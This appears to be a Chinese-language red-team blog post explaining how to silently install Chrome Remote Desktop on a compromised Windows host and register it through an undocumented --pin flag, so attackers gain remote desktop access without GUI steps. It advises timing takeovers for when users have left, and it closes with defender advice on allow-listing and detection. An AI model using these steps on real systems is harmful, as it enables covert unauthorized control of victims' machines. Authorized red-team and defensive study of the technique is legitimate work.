滥用Chrome远程桌面进行红队操作的实用指南
在本篇文章中,我们将探讨一种实用的技术,即在红队操作中滥用Chrome远程桌面(也称为Google远程桌面)。由于客户限制或其他预防措施,我有时需要使用合法软件来实现目标。本文旨在强调如何在操作中实际使用Chrome远程桌面。
入门 – Chrome远程桌面
Chrome远程桌面本质上是一个软件,您可以从 https://remotedesktop.google.com/ 下载并安装在客户端上。安装和配置后,受感染的主机会连接到服务器(云服务),您可以在Web门户中点击它以进行连接。很整洁吧?我认为是的。在幕后,它使用Google开发的专有协议,内部称为Chromoting。根据我找到的信息,它通过HTTPS进行通信,并使用WebRTC传输数据。
开始使用Chrome远程桌面有哪些要求?您唯一需要的是一个Google账户,任何人都可以免费在这里创建。创建账户后,请转到此处下载软件并开始使用。另一个要求是安装程序需要在客户端上具有本地管理员访问权限。
逐步指南 – 部署它
以下是部署Chrome远程桌面的分步指南,并提供一些提示。
-
访问设置页面
第一步是导航到Chrome远程桌面设置页面,在“通过SSH设置”菜单选项下,点击“开始”,然后点击Windows的MSI文件以下载MSI文件。
图1 - 开始通过SSH设置 -
下载MSI文件
图2 - 下载MSI文件 -
运行安装程序
接下来,您需要在目标上安装MSI文件。如何执行此操作取决于您可能拥有的C2或其他访问权限。为简单起见,我将假设您可以运行直接命令,并提供典型的msiexec安装程序命令。(请记住,您需要本地管理员权限):
msiexec /i chromeremotedesktophost.msi /qn
-
启动Chrome远程桌面客户端
安装完成后,您可以返回Chrome远程桌面页面并点击“下一步”。向导将要求授权;点击“授权”按钮继续。
图3 - 授权 -
复制入门命令
在屏幕上,您应该看到两个(2)Windows命令和一个(1)Debian命令。复制Windows(Cmd)命令并将其粘贴到记事本中。在发送到客户端之前,我们将在命令中添加一些内容。
图4 - 复制命令 -
调整命令
您复制的命令应如下所示:
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME%
如果您运行此命令,问题在于这需要一个额外的步骤,需要在GUI中完成,即添加PIN码。示例如下:
图5 - 命令要求输入PIN码 -
未文档化参数
为了克服这一点,我们可以使用一个未文档化的参数(我尚未找到相关文档)。未文档化的参数是--pin=111111
。请注意,PIN码至少需要六(6)位数字。完整命令如下:
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111
运行时应如下所示:
图6 - 在命令中提供PIN码 -
连接到客户端
您现在应该看到客户端出现在Chrome远程桌面门户中。点击它,在提示时提供PIN码,并开始使用远程桌面——几乎像魔术一样。
图7 - 客户端在门户中可见 -
远程连接到客户端
图8 - 远程连接到客户端
您需要登录并接管用户的会话,因此您需要知道用户的密码或以其他用户身份登录。理想情况下,您应在接管桌面之前检查用户是否已回家。
结论
Chrome远程桌面确实需要一些工作才能运行,但在某些场景下进行红队操作时,它可以是一个非常有用的工具。Chrome远程桌面具有相当流畅的体验,远程连接时延迟很小。
对于防御者,我始终建议使用AppLocker或其他批准列表解决方案来防止未经授权的软件安装。如果您想查看软件是否已在环境中安装,它被称为Chrome远程桌面主机。
图9 - 在“应用和功能”中显示的Chrome桌面